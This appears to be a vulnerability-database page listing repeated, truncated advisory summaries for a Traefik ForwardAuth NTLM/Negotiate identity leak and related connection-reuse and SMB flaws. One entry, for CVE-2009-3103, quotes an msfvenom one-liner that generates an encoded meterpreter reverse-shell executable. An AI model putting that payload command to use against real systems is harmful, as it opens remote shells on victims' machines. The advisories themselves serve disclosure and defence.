CVE-2026-121966

Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests and, in 3.7, Ingress NGINX auth-url requests through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user'...

EUVD-2026-116966

Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests and, in 3.7, Ingress NGINX auth-url requests through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user'...

CVE-2026-121966

Traefik versions 2.x before 2.11.60 and 3.x before 3.7.16 are vulnerable to an identity leak during ForwardAuth and Ingress NGINX auth-url requests. The root cause is that these subrequests are sent through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Ne...

CVE-2026-121966 Traefik before 2.11.60 and 3.7.16 ForwardAuth NTLM/Negotiate Identity Leak

Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests and, in 3.7, Ingress NGINX auth-url requests through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user'...

PT-2026-137018

Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests and, in 3.7, Ingress NGINX auth-url requests through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user'...

CVE-2026-121966: traefik: Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests (and, in 3.7, Ingress NGINX auth-url…

Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests and, in 3.7, Ingress NGINX auth-url requests through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user'...

CVE-2026-107281

A flaw was found in AsyncHttpClient. When connection-oriented authentication mechanisms, such as NT LAN Manager NTLM or Negotiate, are used, the HTTP connection pool does not account for the authenticated user identity. Consequently, a connection authenticated by one user can be reused by request...

Astra Linux – vulnerability in linux-6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free of conn-preauthinfo in concurrent SMB2 NEGOTIATE conn-preauthinfo is a shared connection state struct preauthintegrityinfo, kmalloc-96 that is allocated and freed by the SMB2 NEGOTIATE handler and then...

Astra Linux – vulnerability in linux-6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests An unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on a single connection prior to SESSIONSETUP. While the connection remains in KSMBDSESSNEEDSETUP,...

curl: curl: Authentication bypass due to incorrect connection reuse with Negotiate authentication

A flaw was found in curl. When an application uses libcurl to make multiple Negotiate-authenticated HTTP or HTTPS requests to the same server with different credentials, libcurl may incorrectly reuse an existing connection. This logical error can cause a subsequent request to be sent using the...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

CVE-2020-0796-Scanner

SMBGhostscanner Simple scanner for CVE-2020-0796 - SMBv3. The scanner is for meant only for testing whether a server is vulnerable. It is not meant for research or development, hence the fixed payload. It checks for SMB dialect 3.1.1 and compression capability through a negotiate request...

CLEANSTART-2026-DQ34657 go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP

CVE-2026-32952 affects multiple packages. go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. See references for individual vulnerability details...

eternalghosttest

Eternalghost Deutsch English Deutsch Dieses Repository enthält einen Testfall für CVE-2020-0796 Mit diesem kleinen Skript können Sie überprüfen, ob ein Server von Ihnen verwundbar ist. Das Skript prüft, ob Sie Compression aktiviert haben und die SMB-Version 3.1.1 ist. Das ganze geschieht über ein...

CLEANSTART-2026-MG86208 go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP

CVE-2026-32952 affects multiple packages. go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. See references for individual vulnerability details...

Curl 8.21.0 < 8.23.0 Multiple Connection Reuse Vulnerabilities

The version of curl installed on the remote host is 8.21.0 prior to 8.23.0. It is, therefore, affected by multiple connection reuse vulnerabilities: - libcurl's connection cache match function never considers the automatic client certificate option, so a cached, already authenticated Schannel...

SUSE CVE-2026-114637

Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend...

SUSE CVE-2026-114641

Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos Negotiate backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over...

CVE-2026-114641

Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos Negotiate backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over...

CVE-2026-114637

Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend...